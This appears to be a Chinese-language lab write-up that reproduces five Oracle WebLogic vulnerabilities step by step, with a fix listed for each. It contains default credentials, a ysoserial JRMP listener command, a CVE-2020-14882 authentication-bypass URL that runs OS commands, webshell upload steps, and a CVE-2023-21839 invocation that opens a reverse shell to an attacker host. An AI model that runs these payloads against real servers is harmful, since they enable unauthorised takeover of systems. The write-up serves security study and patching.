【漏洞复现】WebLogic 系列漏洞复现
【漏洞复现】WebLogic 系列漏洞复现
一、WebLogic 概述
WebLogic是oracle 公司出品的java中间件,可与Oracle 产品和技术相辅相成。
其默认的开放端口是7001
默认后台登录地址:http://xxxx.xxx:7001/console
一些常见的弱口令
1 | system:password |
二、XMLDecoder反序列化漏洞(CVE-2017-10271)
1、漏洞原因
Weblogic的WLS Security 组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,由于XMLDecoder处理不当,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
2、漏洞影响
攻击者可以利用这个漏洞发送精心构造的XML数据,通过反序列化执行任意命令,甚至可以通过反弹shell拿到权限。
3、漏洞涉及版本
受影响的版本包括但不限于:
- OracleWebLogic Server 10.3.6.0.0
- OracleWebLogic Server 12.1.3.0.0
- OracleWebLogic Server 12.2.1.1.0
- OracleWebLogic Server 12.2.1.2.0
4、漏洞复现
首页如图,漏洞不在首页
我们需要POST提交到/wls-wsat/CoordinatorPortType
,并配合XMLDecoder 解析xml 数据,在解析过程中存在反序列化漏洞,造成命令执行。
命令反弹整体报文如下:
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
由于我此时环境准备不够充分,在此只展示webshell 写入
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
文件写入在/bea_wls_internal/test4.jsp
中,用冰蝎进行连接
5、漏洞修复
方法一:删除wls-wsat组件,然后重启weblogic
方法二:官网下载,打补丁
三、WebLogic反序列化漏洞(CVE-2018-2628)
1、漏洞原因
WebLogic 的T3协议是WebLogic 与Java 之间进行通讯的一个基于Java RMI远程方法调用的一个协议,攻击者可以通过T3协议发送恶意的的反序列化数据,进行反序列化,实现对存在漏洞的weblogic组件的远程代码执行攻击。
2、漏洞影响
T3协议在开放WebLogic控制台端口的应用上默认开启,攻击者可以通过T3协议发送恶意的的反序列化数据,利用RMI(远程方法调用)机制的缺陷,通过JRMP协议(java 远程消息交换协议)导致未授权用户在远程服务器执行任意命令。
3、漏洞涉及版本
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.2.1.2
- Oracle WebLogic Server 12.2.1.3
4、漏洞复现
可先通过nmap脚本–script=weblogic-t3-info
查看weblogic版本信息和t3协议是否开启
1 | nmap.exe -A -T4 -p 7001 IP |
看到T3协议在使用,并且WebLogic 的版本信息为:10.3.6.0
查看console
路径
这里使用:CVE-2018-2628漏洞工具包
1、利用 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
启动一个JRMP Server
1 | java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 'touch /tmp/test.txt' |
2、下载对应的exp:https://www.exploit-db.com/exploits/44553
3、修改名称并启动exp
1 | mv 44553 44553.py |
4、进入docker容器可以看到存在test.txt
文件
5、漏洞修复
- 关闭T3服务,或控制T3服务的访问权限(临时)。
- 打官方补丁。
四、任意文件上传漏洞(CVE-2018-2894)
1、漏洞原因
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
CVE-2018-2894漏洞是由于WebLogic Server中的Web Service Test Page存在任意文件上传的缺陷。在“生产模式”下,默认不开启Web Service Test Page,因此该漏洞的利用存在一定限制。攻击者可以利用该漏洞上传任意JSP文件,进而可能获取服务器权限。
2、漏洞影响
利用CVE-2018-2894漏洞,攻击者可以上传恶意的JSP文件到服务器,这些文件可以作为webshell使用,允许攻击者远程执行代码,从而控制服务器。
3、漏洞涉及版本
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.2.1.2
- Oracle WebLogic Server 12.2.1.3
4、漏洞复现
1、未授权访问/ws_utc/config.do
页面
由于在“生产模式”下,默认不开启Web Service Test Page,所以此处需要我们手动通过管理员登陆后台去开启。先看一下管理员账号密码:weblogic: TvrG557m
2、在/console
登录后台
3、在域结构中展开高级选项
勾选启用Web服务测试页
后保存
4、回到未授权访问/ws_utc/config.do
页面
将当前的工作目录
修改为:
1 | /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css |
5、提交后来到安全,添加文件
提交webshell,BP拦截,在响应包的最下面找到对应的时间戳
1 | http://xxx.xxx:7001/ws_utc/css/config/keystore/时间戳_22.jsp |
即可连接成功
5、漏洞修复
- 设置访问权限:确保 config.do 和 begin.do 页面在登录授权后才能访问,以防止未授权的文件上传尝试。
- 使用安全产品:考虑在入侵防御系统(IPS)等安全产品中加入相应的特征,以帮助检测和阻止利用此漏洞的尝试。
- 升级到最新版本:安装 Oracle 官方提供的最新补丁,以修复已知的安全漏洞。
五、WebLogic未授权命令执行漏洞(CVE-2020-14882)
1、漏洞原因
CVE-2020-14882 漏洞是由于 Oracle WebLogic Server Console 中存在路径遍历漏洞,允许攻击者构造特殊的 HTTP 请求来绕过身份验证,从而访问并修改管理员控制台的某些资源。这可能导致远程代码执行(RCE)。
2、漏洞影响
- 远程代码执行:攻击者可以在目标系统上执行任意代码,导致服务器被完全控制。
- 未经身份验证的访问:攻击者无需进行身份验证即可利用此漏洞。
3、漏洞涉及版本
- Oracle Weblogic Server 10.3.6.0.0
- Oracle Weblogic Server 12.1.3.0.0
- Oracle Weblogic Server 12.2.1.3.0
- Oracle Weblogic Server 12.2.1.4.0
- Oracle Weblogic Server 14.1.1.0.0
4、漏洞复现
1、http://xxx.xxx/console
这里是登录页面
2、构造poc未授权访问后台地址
1 | http://xxx.xxx:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29 |
3、构造POC执行RCE
创建/tmp/1.txt
文件
1 | http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/1.txt%27);%22) |
进入容器查看,创建成功
5、漏洞修复
安装官方最新补丁进行升级:https://www.oracle.com/security-alerts/cpuapr2020.html
六、Weblogic 远程代码执行漏洞(CVE 2023-21839)
1、漏洞原因
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server。该漏洞涉及到 JNDI 注入,当 JDK 版本过低或者本地存在小工具时,可能导致远程代码执行。
2、漏洞影响
风险等级:奇安信 CERT 将此漏洞的风险等级评定为 “高危”,并给出了 CVSS 3.1 评分为 8.6。
3、漏洞涉及版本
该漏洞影响以下版本的 Oracle WebLogic Server:
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.2.1.2.0
- Oracle WebLogic Server 12.2.1.1.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.0.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
- Oracle WebLogic Server 12.1.2.0.0
- Oracle WebLogic Server 12.1.3.0.0
4、漏洞复现
1、使用nmap 探测有无开启T3协议
2、在这里使用POC
地址:https://github.com/4ra1n/CVE-2023-21839
1 | git clone https://github.com/4ra1n/CVE-2023-21839 |
之后对main.go 进行编译
1 | cd cmd |
3、开启监听
1 | //1、开启JNDI 监听 |
4、触发漏洞
1 | ./CVE-2023-21839 -ip 192.168.126.128 -port 7001 -ldap ldap://192.168.126.130:1389/Basic/ReverseShell/192.168.126.130/1234 |
获取shell
5、漏洞修复
1、Oracle 在 2023 年 1 月的安全公告中修复了这个漏洞,补丁下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2
2、缓解方式:禁用 T3 及 IIOP